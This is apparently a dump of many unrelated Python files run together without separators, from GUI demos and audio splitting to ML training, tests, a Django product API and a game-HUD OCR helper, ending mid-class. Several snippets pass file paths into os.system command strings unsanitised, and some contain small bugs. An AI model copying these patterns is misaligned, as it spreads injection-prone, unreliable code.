from tkinter import ttk
from tkinter import *

import sqlite3

class Producto:
    def __init__(self, window):
        self.wind = window
        self.wind.title('Productos app')

        #contenedor
        frame = LabelFrame(self.wind, text='Nuevo Producto')
        frame.grid(row = 0, column = 3, columnspan = 3, pady = 20)

        Label(frame, text = 'Nombre Producto').grid(row = 1, column = 0)
        self.name = Entry(frame)
        self.name.grid(row = 1, column = 1)

if __name__ == '__main__':
    window = Tk()
    app = Producto(window)
    window.mainloop()


import json
import os
import sys
import shutil
from pydub import AudioSegment
from pydub.silence import split_on_silence

dir_path = './sample_data_16k/playlist_xx'

def save_to_json(data, filename='data.json'):
    if filename[-4:] != 'json':
        filename += '.json'

    with open(f'{filename}', 'w', encoding='utf-8') as fw:
        json.dump(data, fw, indent=4, ensure_ascii=False)

def createFolder(directory):
    try:
        if not os.path.exists(directory) :
            os.makedirs(directory)
        else:
            shutil.rmtree(directory)
            os.makedirs(directory)

    except OSError:
        print("Error: Creating directory" + directory)

def split_audio(file, dest_path):

    vadcommand = "./vadR1.sh  " + file
    print(vadcommand)
    os.system(vadcommand)

    # REading segmentation Result
    Segfile = open("./temp/segmentation/output_seg/segments",'r')
    sound_file = AudioSegment.from_wav(file)
    outputs = []

    i=0
    while True:
        line = Segfile.readline()
        if not line:
            break
        words = line.split()

        out_filewav = os.path.join(dest_path, "chunk_{:03d}.wav".format(i))

        startmsec= int(float(words[2])*1000)
        endmsec = int(float(words[3])*1000)

        seg_sound = sound_file[startmsec:endmsec]
        seg_sound.export(out_filewav, format="wav")

        output = {}
        output['file'] = out_filewav
        output['start'] = str(words[2])
        output['end'] = str(words[3])

        outputs.append(output)

        i = i+1

    Segfile.close()

    return outputs

files = os.listdir(dir_path)
files = sorted(files)

for file in files:
    curdir = dir_path
    filename, file_extension = os.path.splitext(file)
    if file_extension != '.wav':
        continue

    # Dir for wave file
    dest_path = '/tmp/wav_split'
    createFolder(dest_path)

    inputfile = os.path.join(curdir, file)

    outputs = split_audio(inputfile, dest_path)

    for output in outputs:
        file = output['file']
        start = output['start']
        end = output['end']

        print(f'{file}\t{start} - {end}')

    json_file = os.path.join(curdir, f'{filename}.json')
    save_to_json(outputs, json_file)

print('Finished!')


import pandas as pd

# make a function that will take all the column names
# and turn those into a new column name "regija"

REGIJA = {"občine", "občina", "ob�ine", "kohezijska / statistična regija", "kohezijska / statistična regija", "kohezijska / \nstatistična regija", "urad za delo"}

LETO = {"leto", "year"}

def normaliziraj_imena_stolpcev(df):
    # find all the columns that have the names in REGIJA and create a new column "regija"
    for imeStolpca in df.columns:
        imeStolpcaLower = imeStolpca.lower().strip()
        if imeStolpcaLower in REGIJA:
            df["__region"] = df[imeStolpca]
            break

        if imeStolpcaLower in LETO:
            df["__year"] = df[imeStolpca]


import os
import time
from save_document import save_translated_doc

def translate_text(
    doc_filepath,
    max_tokens,
    models_path,
    model_name,
    lang_orig_code,
    lang_dest_code,
    document_type,
    loaded_model,
):
    """Function to generate a list of strings with a limited number of tokens.
    Each string will be processed with the NLLB model so it should not exceed
    the model's length limit (500 tokens).

    Parameters
    ----------
    doc_filepath : str
        Path to the document which will be translated
    document_type : str
        Input file extension
    max_tokens : int
        Max number of tokens included in each original_text_list element
    models_path : str
        Path to where the model is stored at (unused in django app)
    model_name : str
        Name of the model that will be used (unused in django app)
    lang_origin_code : str
        Langugage code in BCP-47 of the original text
    lang_dest_code : str
        Langugage code in BCP-47 of the desired output
    loaded_model :
        Model loaded when running the django server

    Returns
    -------

    """

    if document_type == "docx":
        from preprocess_docx import preprocess_text
        from translate_docx import translate_document
    elif document_type in ["pdf", "PDF"]:
        from preprocess_pdf import preprocess_text
        from translate_pdf import translate_document
    elif document_type == "pptx":
        from preprocess_pptx import preprocess_text
        from translate_pptx import translate_document
    else:
        raise ValueError("Unsupported file type")

    # read and handle the different document inputs
    language, document = preprocess_text(
        doc_filepath=doc_filepath, language=lang_orig_code
    )

    # now we will translate the paragraphs for the document based on its type
    translated_document = translate_document(
        document=document,
        model_name=model_name,
        models_path=models_path,
        max_tokens=max_tokens,
        lang_origin_code=language,
        lang_dest_code=lang_dest_code,
        loaded_model=loaded_model,
    )

    return translated_document

def translate_document(filename, dst_lang, loaded_model=None):
    # select document to translate
    doc_name = filename
    # select model
    model_name = "nllb-200-distilled-600M"
    # select language code in bcp-47 (if None it will be inferred)
    scr_lang = None
    # set a maximum number of tokens to translate in each text block. The
    # model is prepared to parse up to 500 tokens, but as this number increases
    # the model's accuracy might decrease
    max_tokens = 150

    # set variables needed to get and upload files
    filepath = os.path.abspath(__file__)
    projpath = os.path.abspath(os.path.join(filepath, "..", ".."))
    models_path = os.path.join(projpath, "models")
    # input file is saved into tmp folder
    input_path = os.path.join(projpath, "input", "tmp")
    doc_filepath = os.path.join(input_path, doc_name)
    output_path = os.path.join(projpath, "media", "translated_documents")
    output_filename = f"translated_{doc_name}"
    output_file = os.path.join(output_path, output_filename)

    # get document type (docx, pdf, pptx...)
    doc_type = doc_name.split(".")[-1]

    # execute text translation
    start = time.time()
    translated_document = translate_text(
        doc_filepath=doc_filepath,
        max_tokens=max_tokens,
        models_path=models_path,
        model_name=model_name,
        lang_orig_code=scr_lang,
        lang_dest_code=dst_lang,
        document_type=doc_type,
        loaded_model=loaded_model,
    )

    save_translated_doc(translated_document, output_file, doc_type)

    # empty the tmp folder
    # create temporal folder if not exists:
    if os.path.exists(input_path):
        # empty the folder
        for file in os.listdir(input_path):
            os.remove(os.path.join(input_path, file))
        # remove the folder
        os.rmdir(input_path)

    # create the empty folder for storing the images
    os.makedirs(input_path)

    end = time.time()

    print(f"Total time:{end-start} s")


from tkinter import *
from tkinter import ttk

from PIL import ImageTk, Image

root = Tk()
root.title('Sliders')
root.iconbitmap('src/ninja_avatar.ico')
root.geometry("400x400")

var = IntVar()

def check_value():
	my_label = Label(root, text=var.get()).pack()

c = Checkbutton(root, text="Check this", variable=var)
c.pack()

my = Button(root, text="HELLO", command=check_value).pack()

root.mainloop()


# -*- coding: utf-8 -*-

import os
#os.environ["CUDA_VISIBLE_DEVICES"] = "1"
import tensorflow as tf
import shutil

tf.app.flags.DEFINE_string('mode', 'train', 'optional: train, save_pb, eval')

tf.app.flags.DEFINE_string('multigpu', 'n','optional: y,n')

# params for train
tf.app.flags.DEFINE_string('restore_model_path', '',
                           'a history model you have trained, you can load it and continue trainging')
tf.app.flags.DEFINE_integer('keep_weights_file_num', 10,
                            'the max num of weights files keeps, if set -1, means infinity')
tf.app.flags.DEFINE_integer('num_classes', 54, 'the num of classes which your task should classify')
tf.app.flags.DEFINE_integer('input_size', 224, 'the input image size of the model')
tf.app.flags.DEFINE_integer('batch_size', 8, '')
tf.app.flags.DEFINE_float('learning_rate',0.0001, '')
tf.app.flags.DEFINE_integer('max_epochs', 100, '')

# params for save pb
tf.app.flags.DEFINE_string('freeze_weights_file_path', './save_h5_model',
                           'if it is set, the specified h5 weights file will be converted as a pb model, '
                           'only valid when {mode}=save_pb')

# params for evaluation
tf.app.flags.DEFINE_string('eval_weights_path', '', 'weights file path need to be evaluate')
tf.app.flags.DEFINE_string('eval_pb_path', '', 'a directory which contain pb file needed to be evaluate')

tf.app.flags.DEFINE_string('data_local', '../datasets/train_datasets', 'the train data path on local')
tf.app.flags.DEFINE_string('save_model_local', './save_h5_model', 'the training output results on local')
tf.app.flags.DEFINE_string('test_data_local', '', 'the test data path on local')
tf.app.flags.DEFINE_string('tmp', '', 'a temporary path on local')

FLAGS = tf.app.flags.FLAGS

def check_args(FLAGS):
    if FLAGS.mode not in ['train', 'save_pb', 'eval']:
        raise Exception('FLAGS.mode error, should be train, save_pb or eval')
    if FLAGS.num_classes == 0:
        raise Exception('FLAGS.num_classes error, '
                        'should be a positive number associated with your classification task')

    if FLAGS.mode == 'train':
        if FLAGS.data_local == '':
            raise Exception('you must specify FLAGS.data_local')
        if not os.path.exists(FLAGS.data_local):
            raise Exception('FLAGS.data_local: %s is not exist' % FLAGS.data_local)
        if FLAGS.restore_model_path != '' and (not os.path.exists(FLAGS.restore_model_path)):
            raise Exception('FLAGS.restore_model_path: %s is not exist' % FLAGS.restore_model_path)
        if os.path.isdir(FLAGS.restore_model_path):
            raise Exception('FLAGS.restore_model_path must be a file path, not a directory, %s' % FLAGS.restore_model_path)
        if FLAGS.save_model_local == '':
            raise Exception('you must specify FLAGS.save_model_local')
        elif not os.path.exists(FLAGS.save_model_local):
            os.mkdir(FLAGS.save_model_local)
        if FLAGS.test_data_local != '' and (not os.path.exists(FLAGS.test_data_local)):
            raise Exception('FLAGS.test_data_local: %s is not exist' % FLAGS.test_data_local)

    if FLAGS.mode == 'save_pb':
        if FLAGS.freeze_weights_file_path == '':
            raise Exception('you must specify FLAGS.freeze_weights_file_path when you want to save pb')
        if not os.path.exists(FLAGS.freeze_weights_file_path):
            raise Exception('FLAGS.freeze_weights_file_path: %s is not exist' % FLAGS.freeze_weights_file_path)
        if os.path.isdir(FLAGS.freeze_weights_file_path):
            raise Exception('FLAGS.freeze_weights_file_path must be a file path, not a directory, %s ' % FLAGS.freeze_weights_file_path)
        if os.path.exists(FLAGS.freeze_weights_file_path.rsplit('/', 1)[0] + '/model'):
            raise Exception('a model directory is already exist in ' + FLAGS.freeze_weights_file_path.rsplit('/', 1)[0]
                            + ', please rename or remove the model directory ')

    if FLAGS.mode == 'eval':
        if FLAGS.eval_weights_path == '' and FLAGS.eval_pb_path == '':
            raise Exception('you must specify FLAGS.eval_weights_path '
                            'or FLAGS.eval_pb_path when you want to evaluate a model')
        if FLAGS.eval_weights_path != '' and FLAGS.eval_pb_path != '':
            raise Exception('you must specify only one of FLAGS.eval_weights_path '
                            'and FLAGS.eval_pb_path when you want to evaluate a model')
        if FLAGS.eval_weights_path != '' and (not os.path.exists(FLAGS.eval_weights_path)):
            raise Exception('FLAGS.eval_weights_path: %s is not exist' % FLAGS.eval_weights_path)
        if FLAGS.eval_pb_path != '' and (not os.path.exists(FLAGS.eval_pb_path)):
            raise Exception('FLAGS.eval_pb_path: %s is not exist' % FLAGS.eval_pb_path)
        if not os.path.isdir(FLAGS.eval_pb_path) or (not FLAGS.eval_pb_path.endswith('model')):
            raise Exception('FLAGS.eval_pb_path must be a directory named model '
                            'which contain saved_model.pb and variables, %s' % FLAGS.eval_pb_path)
        if FLAGS.test_data_local == '':
            raise Exception('you must specify FLAGS.test_data_local when you want to evaluate a model')
        if not os.path.exists(FLAGS.test_data_local):
            raise Exception('FLAGS.test_data_local: %s is not exist' % FLAGS.test_data_local)

def main(argv=None):
    check_args(FLAGS)
    if FLAGS.multigpu =='n':

        if FLAGS.mode == 'train':
            from train import train_model
            train_model(FLAGS)
        elif FLAGS.mode == 'save_pb':
            from save_model import load_weights_save_pb
            load_weights_save_pb(FLAGS)
        elif FLAGS.mode == 'eval':
            from eval import eval_model
            eval_model(FLAGS)
    elif FLAGS.multigpu == 'y':
        if FLAGS.mode == 'train':
            from multigpu_train import train_model
            train_model(FLAGS)
        elif FLAGS.mode == 'save_pb':
            from save_multigpu_model import load_weights_save_pb
            load_weights_save_pb(FLAGS)
        elif FLAGS.mode == 'eval':
            from eval import eval_model
            eval_model(FLAGS)
    else:
        raise Exception('Please use true option of multigpu')

if __name__ == '__main__':
    tf.app.run()


from heads import *
from component import *
from helper import *
from powerUp import *
from ball import *

class ThruBall(PowerUp):
    def __init__(self, x, y, color, vel_x, vel_y, game_arena):
        super().__init__(x, y, color, vel_x, vel_y, game_arena)

    def create_thru_ball_power_up(self):
        self.comp.append("-----")
        self.comp.append("| T |")
        self.comp.append("-----")

    def power_ball(self, game_balls):
        for game_ball in game_balls:
            if game_ball.can_display_ball() and not game_ball.get_movement_status():
                game_ball.set_power_mode(True)
        self._is_activated = True
        self._do_display = False

    def remove_power_ball(self, game_balls):
        for game_ball in game_balls:
            if game_ball.can_display_ball() and not game_ball.get_movement_status():
                game_ball.set_power_mode(False)
        self._is_activated = False


"""
FUNCTION: Initiate Blade Profile Generation
@author: kjohri
"""

import os
import time

# Measure time to run code
start_time = time.time()

# Specify fluid name
FLUID         = 'air'
pathFluid     = '/home/kjohri/Documents/codeThesis/'+FLUID
folders = sorted(os.listdir(pathFluid))

for folder in folders:
    # Move file from case folder to bladeProfileGeneration folder
    os.system('mv '+pathFluid+'/'+folder+'/meangen.in /home/kjohri/Documents/codeThesis/bladeProfileGeneration')
    # Change directory
    os.chdir('/home/kjohri/Documents/codeThesis/bladeProfileGeneration')
    # Execute meangen and stagen and bladeProfile.py
    os.system('./fortranBash.sh')
    # Move files from current directory to case folder
    os.system('mv *.in *.out *.dat *.curve '+pathFluid+'/'+folder)

#%% Execution time
print("--- %s seconds ---" % (time.time() - start_time))


try:
    import fcntl
except ImportError:
    fcntl = None

if fcntl is None:
    # fcntl isn't available on Windows.  By default, handles aren't
    # inherited on Windows, so we can do nothing here.
    setCloseOnExec = unsetCloseOnExec = lambda fd: None
else:
    def setCloseOnExec(fd):
        """
        Make a file descriptor close-on-exec.
        """
        flags = fcntl.fcntl(fd, fcntl.F_GETFD)
        flags = flags | fcntl.FD_CLOEXEC
        fcntl.fcntl(fd, fcntl.F_SETFD, flags)

    def unsetCloseOnExec(fd):
        """
        Make a file descriptor close-on-exec.
        """
        flags = fcntl.fcntl(fd, fcntl.F_GETFD)
        flags = flags & ~fcntl.FD_CLOEXEC
        fcntl.fcntl(fd, fcntl.F_SETFD, flags)


class Solution:
    def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:
        dummy = temp = ListNode(0)
        carry = 0
        while l1 or l2 or carry!=0:
            sum=0
            if l1:
                sum += l1.val
                l1=l1.next
            if l2:
                sum += l2.val
                l2 = l2.next
            sum += carry
            carry = sum//10
            node = ListNode(sum%10)
            temp.next = node
            temp = temp.next
        return dummy.next


import covid_county_prediction.BaseRunner as BaseRunner
import torchvision.models as models
import torch.nn as nn
import torch
import torchvision.datasets as datasets
import torch.utils.data as data
import torchvision.transforms as transforms

#inspired from https://github.com/pytorch/examples/blob/master/imagenet/main.py
class TestBaseRunner(BaseRunner.BaseRunner):
    def __init__(self, models, loss_fn, optimizers, best_metric_name = 'acc1',
        should_minimize_best_metric = False, debug = True):
        super(TestBaseRunner, self).__init__(models, loss_fn, optimizers,
            best_metric_name, should_minimize_best_metric, debug)

    def train_batch_and_get_metrics(self, batch):
       out = self.nets[0](batch[0])
       loss = self.loss_fn(out, batch[1])
       acc1, acc5 = self.accuracy(out, batch[1], topk=(1, 5))

       self.optimizers[0].zero_grad()
       loss.backward()
       self.optimizers[0].step()

       return [('loss', loss.mean().item()), ('acc1', acc1), ('acc5', acc5)]

    def test_batch_and_get_metrics(self, batch):
        out = self.nets[0](batch[0])
        loss = self.loss_fn(out, batch[1])
        acc1, acc5 = self.accuracy(out, batch[1], topk=(1, 5))

        return [('loss', loss.mean().item()), ('acc1', acc1), ('acc5', acc5)]

    def accuracy(self, output, target, topk=(1,)):
        """Computes the accuracy over the k top predictions for the specified values of k"""
        #taken from https://github.com/pytorch/examples/blob/master/imagenet/main.py
        with torch.no_grad():
            maxk = max(topk)
            batch_size = target.size(0)

            _, pred = output.topk(maxk, 1, True, True)
            pred = pred.t()
            correct = pred.eq(target.view(1, -1).expand_as(pred))

            res = []
            for k in topk:
                correct_k = correct[:k].view(-1).float().sum(0, keepdim=True)
                res.append(correct_k.mul_(100.0 / batch_size).item())
            return res

if(__name__ == '__main__'):
    torch.set_default_tensor_type(torch.cuda.FloatTensor
        if torch.cuda.is_available() else torch.FloatTensor)

    net = models.vgg11()
    net.classifier[-1] = nn.Linear(net.classifier[-1].in_features, 10)

    loss_fn = nn.CrossEntropyLoss()

    if torch.cuda.is_available():
        torch.cuda.set_device('cuda:0')
        net = net.cuda()
        loss_fn = loss_fn.cuda()

    optimizer = torch.optim.SGD(net.parameters(), 0.01,
                                momentum=0.9,
                                weight_decay=5e-4)

    runner = TestBaseRunner([net], loss_fn, [optimizer])

    transform = transforms.Compose(
        [transforms.ToTensor(),
         transforms.Normalize([0.4914, 0.4822, 0.4465],
            [0.2023, 0.1994, 0.2010])])

    train_data   = datasets.CIFAR10('./', download=True, train=True, transform=transform)
    test_data   = datasets.CIFAR10('./', train=False, transform=transform)

    train_loader = data.DataLoader(train_data, shuffle=True, batch_size=128)
    test_loader = data.DataLoader(test_data, shuffle=True, batch_size=512)

    runner.train(train_loader, 5, test_loader)
    runner.test(test_loader, validate=True)


def pal(n):
    rev=0
    i=n
    while i>0:
        rev=rev*10+i%10
        i//=10
    return n==rev
def cou(minn:int,maxx:int)->None:
    for i in range(minn,maxx+1):
        if pal(i):
            print(i,end=" ")
if __name__=="__main__":
    cou(int(input()),int(input()))


import pytest
from hypothesis import given
from pydantic import ValidationError

from dbgen.core.args import Arg, Constant
from dbgen.core.decorators import transform
from dbgen.core.func import Environment, Func, func_from_callable
from dbgen.core.node.transforms import PythonTransform
from dbgen.exceptions import DBgenMissingInfo, DBgenPythonTransformError, NodeUsedAsInput
from tests.example_functions import nonary, ternary
from tests.strategies import pyblock_strat

@given(pyblock_strat)
def test_pyblock_strat(instance: PythonTransform):
    assert isinstance(instance, PythonTransform)
    assert instance.function.number_of_outputs

def test_const():
    const = Constant(1)
    assert const.arg_get({}) == 1

def test_pyblock_errors():
    basic_lambda = lambda x: 1
    good_inputs = {"function": basic_lambda, "inputs": [Constant(1)], "outputs": ["test"]}
    PythonTransform(**good_inputs)
    for name, val in (("function", 1), ("inputs", [(1,)]), ("outputs", [])):
        with pytest.raises(ValidationError):
            PythonTransform(**{**good_inputs, name: val})

def test_pyblock_to_dict():
    pb = PythonTransform(env=Environment(imports=[]), function=nonary, inputs=[], outputs=[""])
    serial = pb.dict()
    assert {i: Arg.parse_obj(val) for i, val in enumerate(serial.get("inputs"))} == pb.inputs
    assert Environment.parse_obj(serial.get("env")) == pb.env
    assert serial.get("outputs") == pb.outputs
    assert Func.parse_obj(serial.get("function")) == pb.function
    assert pb.parse_obj(pb.dict()) == pb

def test_pyblock_run():
    pb = PythonTransform(function=nonary, inputs=[], outputs=["out"])
    pb_dict = pb.run({})
    assert "out" in pb_dict
    assert pb_dict["out"] == 1

def test_pyblock_run_with_inputs():
    func = lambda x, y: x + y
    pb = PythonTransform(function=func, inputs=[Constant(1), Constant(3)])
    pb_dict = pb.run({})
    assert "out" in pb_dict
    assert pb_dict["out"] == 4

def test_pyblock_run_with_args():
    func = lambda x, y: x + y
    pb = PythonTransform(function=func, inputs=[Constant(1), Arg(key="other_pyblock", name="out")])
    pb_dict = pb.run({"other_pyblock": {"out": 5}})
    assert "out" in pb_dict
    assert pb_dict["out"] == 6

def test_two_pyblocks():
    func_1 = lambda x: x + 1
    func_2 = lambda x: str(x)
    pb_1 = PythonTransform(function=func_1, inputs=[Constant(1)])
    pb_2 = PythonTransform(function=func_2, inputs=[pb_1["out"]])
    namespace = {}
    for pb in (pb_1, pb_2):
        namespace[pb.hash] = pb.run(namespace)
    assert len(namespace) == 2
    assert namespace[pb_1.hash]["out"] == 2
    assert namespace[pb_2.hash]["out"] == "2"

def test_func():
    func = func_from_callable(ternary)
    assert func.number_of_required_inputs == 2

def test_pyblock_failure_at_runtime():
    func_1 = lambda x: x + 1
    func_2 = lambda x: str(x)
    pb_1 = PythonTransform(function=func_1, inputs=[Constant(1)])
    pb_2 = PythonTransform(function=func_2, inputs=[pb_1["out"]])
    with pytest.raises(DBgenMissingInfo):
        pb_2.run({})

    bad_pb = PythonTransform(function=nonary, inputs=[], outputs=["1", "2"])
    with pytest.raises(DBgenPythonTransformError):
        bad_pb.run({})

    with pytest.raises(ValidationError):
        PythonTransform(function=nonary, inputs=[Constant(1)], outputs=["1", "2"])

    with pytest.raises(ValidationError):
        PythonTransform(function=nonary, inputs=[Constant(1)], outputs=["1", "2"])

    PythonTransform(function=ternary, inputs=[Constant(1), Constant(2)], outputs=["1", "2"])

def test_python_transform_input():
    @transform
    def first_func():
        return 1

    @transform
    def second_func(x: int):
        return x + 1

    x = first_func()
    with pytest.raises(NodeUsedAsInput):
        second_func(x)
    with pytest.raises(ValidationError):
        second_func({})


import pyautogui  # type:ignore[import]
from pytesseract import pytesseract as tes  # type:ignore[import]

from .._ark import Ark
from .._helpers import await_event
from ..exceptions import InterfaceError, TimerNotVisibleError

class HUDInfo(Ark):
    """Represents the extended HUD Info in Ark.

    Provides the ability to get the current timer assuming tek
    gauntlets are equipped.
    """

    _DAY_REGION = (0, 10, 214, 95)
    _TIMER_WORD_REGION = (90, 130, 78, 28)
    _TIMER_REGION = (164, 127, 69, 30)

    def open(self) -> None:
        """Opens the HUD info, key stays in a held state!"""
        attempts = 0
        while not self.is_open():
            pyautogui.keyDown(self.keybinds.hud_info)

            if await_event(self.is_open, max_duration=3):
                return
            pyautogui.keyUp(self.keybinds.hud_info)
            self.sleep(0.3)
            attempts += 1
            if attempts > 4:
                raise InterfaceError("Failed to open HUD!")

    def is_open(self) -> bool:
        """Returns whether the HUD info interface is open."""
        return (
            self.window.locate_template(
                f"{self.PKG_DIR}/assets/interfaces/day.png",
                region=self._DAY_REGION,
                confidence=0.75
            )
            is not None
        )

    def can_get_timer(self) -> bool:
        """Returns whether the timer is visible"""
        return (
            self.window.locate_template(
                f"{self.PKG_DIR}/assets/interfaces/timer.png",
                region=self._TIMER_WORD_REGION,
                confidence=0.7
            )
            is not None
        )

    def get_timer(self) -> int | None:
        """Returns the timer as total seconds, or `None` if not determined.

        If the timer is not visible, it will raise a `TimerNotVisibleError`.
        """
        self.open()
        if not self.can_get_timer():
            raise TimerNotVisibleError
        return self._fetch_timer()

    def _fetch_timer(self) -> int | None:
        """Fetches the timer by denoising the timer region and then OCR'ing
        the text."""
        img = self.window.grab_screen(self._TIMER_REGION)
        img = self.window.denoise_text(img, (63, 179, 255), variance=15)

        raw: str = tes.image_to_string(
            img, config=f"-c tessedit_char_whitelist=0123456789liIxObL: --psm 7 -l eng"
        ).strip()

        if ":" not in raw or len(raw) < 4:
            return None

        minutes, seconds = raw.split(":")
        return (int(minutes) * 60) + int(seconds)


import cv2
import glob
from imutils import paths

sampleImgs =  [cv2.imread(img, cv2.IMREAD_GRAYSCALE) for img in
                sorted(glob.glob('./0_simple number/*.jpg'), reverse=False)]

photos = []

for address in paths.list_images('./images'):
    img = cv2.imread(address)
    photos.append(img)

# print(len(photos))

for imgs in photos:
    gray = cv2.cvtColor(imgs, cv2.COLOR_BGR2GRAY)
    _, thresh1 = cv2.threshold(gray, 195, 255, cv2.THRESH_BINARY_INV)
    cnts1,_= cv2.findContours(thresh1, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
    cnt1 = min(cnts1,key= cv2.contourArea)

    d=[]

    for img in sampleImgs:
        _, thresh = cv2.threshold(img, 195, 255, cv2.THRESH_BINARY_INV)
        cnts,_ = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
        cnt2 = min(cnts, key=cv2.contourArea)
        d.append(cv2.matchShapes(cnt1,cnt2, cv2.CONTOURS_MATCH_I2, 0))

    d_min = d.index(min(d))

    # print(d_min)

    cv2.putText(imgs, str(d_min), (7,25), cv2.FONT_HERSHEY_COMPLEX, 0.75, (0,255,0), 1)
    cv2.imshow('predicted', imgs)
    cv2.waitKey(0)
    cv2.destroyAllWindows()


'''Escrever um algoritmo que lê:
- a percentagem do IPI a ser acrescido no valor das peças
- o código da peça 1, valor unitário da peça 1, quantidade de peças 1
- o código da peça 2, valor unitário da peça 2, quantidade de peças 2
O algoritmo deve calcular o valor total a ser pago e apresentar o resultado.
Fórmula : (valor1*quant1 + valor2*quant2)*(IPI/100 + 1)'''

valor = []
quant = []
codigo = []

def calcPeca(ipi):
    codigo.append(int(input("Qua o código da peça 1: ")))
    valor.append(float(input("Qual o valor da peça 1: ")))
    quant.append(int(input("Qual a quantidade da peça 1: ")))
    codigo.append(int(input("Qua o código da peça 2: ")))
    valor.append(float(input("Qual o valor da peça 2: ")))
    quant.append(int(input("Qaul a quantidade da peça 2: ")))

    resultado = (valor[0] * quant[0] + valor[1] * quant[1]) * (ipi /100 + 1)
    return resultado

def main():
    ipi = int(input("Qual a porcentagemd o IPI: "))
    print("Valor total a ser pago: R$ ",calcPeca(ipi))

main()


import hdf5storage
import numpy as np
# ##########################################################################
# https://scikit-learn.org/stable/modules/model_evaluation.html
from sklearn import metrics

for fold in range(1, 11):
    #  Load Matlab files
    # loadMAT = 'TL_A_SHM8_freq2_fold'+str(fold)
    # loadMAT = 'A_SHM1_TH_fold'+str(fold)
    loadMAT = 'A_SHM8_freq_fold'+str(fold)

    print('********* ' + loadMAT + ' *********')
    mat = hdf5storage.loadmat('saveMATs/' + loadMAT + '.mat')

    Y_pred = mat['Y_pred']
    ypredlist = Y_pred.tolist()
    y_pred = ypredlist[0]
    y_pred

    Y_true = mat['Y_true']
    ytruelist = Y_true.tolist()
    y_true = ytruelist[0]
    y_true

    # #############################################
    # Classification report
    # print(metrics.classification_report(y_true, y_pred))

    # #############################################
    # Accuracy score
    AS = metrics.accuracy_score(y_true, y_pred)
    print("Accuracy score = {0:.3f}".format(AS))

    # #############################################
    # Cohen’s kappa
    # CK = metrics.cohen_kappa_score(y_true, y_pred)
    # print("Cohen’s kappa = {0:.3f}".format(CK))

    # #############################################
    # Hamming loss
    HL = metrics.hamming_loss(y_true, y_pred)
    print("Hamming loss = {0:.3f}".format(HL))

    # #############################################
    ps = metrics.precision_score(y_true, y_pred, average='weighted')
    print("precision_score = {0:.3f}".format(ps))

    rs = metrics.recall_score(y_true, y_pred, average='weighted')
    print("recall_score = {0:.3f}".format(rs))

    f1 = metrics.f1_score(y_true, y_pred, average='weighted')
    print("f1_score = {0:.3f}".format(f1))

    fbeta = metrics.fbeta_score(y_true, y_pred, average='weighted', beta=0.5)
    print("fbeta_score = {0:.3f}".format(fbeta))

    # Save
    import scipy.io

    scipy.io.savemat('saveMetrics/' + loadMAT + '.mat', {
        'Y_true': y_true,
        'Y_pred': y_pred,
        'Accuracy_score': AS,
        # 'Cohen_kappa': CK,
        'Hamming_loss': HL,
        'precision_score': ps,
        'recall_score': rs,
        'f1_score': f1,
        'fbeta_score': fbeta,
    })


from .models import product
from rest_framework.response import Response
from .serializers import ProductSerializer
from rest_framework import generics
from rest_framework.views import APIView
import json
import re

p_gte= re.compile(r'g', re.I)
p_lte= re.compile(r'l', re.I)

# Create your views here.
class ProductList(generics.ListCreateAPIView):
    queryset = product.objects.all()
    serializer_class = ProductSerializer

class ProductDetail(generics.RetrieveUpdateDestroyAPIView):
    queryset = product.objects.all()
    serializer_class = ProductSerializer

catagory=['null']
info_site =[]
info_search =[]

def info_caching(lis, apnd):
    if not lis[0] in [j for i in apnd for j in i]:
        apnd.append(lis)
        # print('appended')
    else:
        try:

            x = [apnd.index(i) for i in apnd if lis[0] in i]
            del apnd[x[0]]
            apnd.append(lis)

            # print(x)
        except:
            print('doesnt exist')

def info_position(lis,id):
    for sub_list in lis:
        if id in sub_list:
            return lis.index(sub_list)

class GetFieldList(APIView):
    def post(self,request):
        data = json.loads(request.body)
        print(data)
        user_name= data['first_name']
        user_id = data['from_user']

        filter = data['text'].split()
        if filter[0] == 'Product' or filter[0] == 'Price':
            site_info=[data['from_user'],data['text']]
            info_caching(site_info, info_site)

        else:
            search_info= [data['from_user'],data['text']]
            info_caching(search_info,info_search)

        print('info site: ',info_site)
        print('info search: ',info_search)

        info_site_position = info_position(info_site,user_id)
        info_search_position = info_position(info_search, user_id)

        print('info_site_position: ', info_site_position)
        print('info_search_position: ',info_search_position)

        try:
            filter2= info_search[info_search_position][1].split()
        except:
            print("Search hasn't inserted")
        # print(filter)
        try:

            if filter[0] == 'Product' or filter[0] == 'Price':
                catagory[0] = filter[0]

                text ='insert'
                return Response({"text": text, "code": 200})

            if info_site[info_site_position][1] == 'Product':
                text1 = product.objects.all().filter(name__icontains=info_search[info_search_position][1])
                text = list(text1.values('name','price'))

            elif info_site[info_site_position][1] == 'Price' and p_gte.findall(filter2[0]) !=[]:
                text1 = product.objects.all().filter(price__gte=int(filter2[1]))
                product(text1)
                text = list(text1.values('name','price'))

            elif info_site[info_site_position][1] == 'Price' and p_lte.findall(filter2[0]) !=[]:
                text1 = product.objects.all().filter(price__lte=filter2[1])
                text = list(text1.values('name','price'))

            else:
                text = "Please enter the correct value"

            return Response({"text":text,"code":200})

        except:
            return Response({"code":401})


def setup():
    size(400, 400)
    background(0)
    noStroke()
    colorMode(HSB)  # Matiz Saturação Brilho

def draw():
    translate(width / 2, height / 2)
    for i in range (12):
        rotate(TWO_PI / 12)
        fill(i * 16, 255, 255)
        if mousePressed:
            ellipse(mouseX - width / 2,
                    mouseY- height / 2, 10, 10)

def keyPressed():
    if key == ' ':
        background(0)


import sys
import numpy as np
import torch
import torch.nn as nn
from copy import deepcopy

from elegantrl.net import NnReshape, layer_norm, DenseNet
from elegantrl.agent import AgentBase
from elegantrl.env import build_env
from elegantrl.run import Arguments, train_and_evaluate, train_and_evaluate_mp

'''net'''

class BiConvNet(nn.Module):
    def __init__(self, mid_dim, inp_dim, out_dim):
        super().__init__()
        i_c_dim, i_h_dim, i_w_dim = inp_dim  # inp_for_cnn.shape == (N, C, H, W)

        self.cnn_h = nn.Sequential(
            nn.Conv2d(i_c_dim * 1, mid_dim * 2, (1, i_w_dim), bias=True), nn.LeakyReLU(inplace=True),
            nn.Conv2d(mid_dim * 2, mid_dim * 1, (1, 1), bias=True), nn.ReLU(inplace=True),
            NnReshape(-1),  # shape=(-1, i_h_dim * mid_dim)
            nn.Linear(i_h_dim * mid_dim, out_dim),
        )
        self.cnn_w = nn.Sequential(
            nn.Conv2d(i_c_dim * 1, mid_dim * 2, (i_h_dim, 1), bias=True), nn.LeakyReLU(inplace=True),
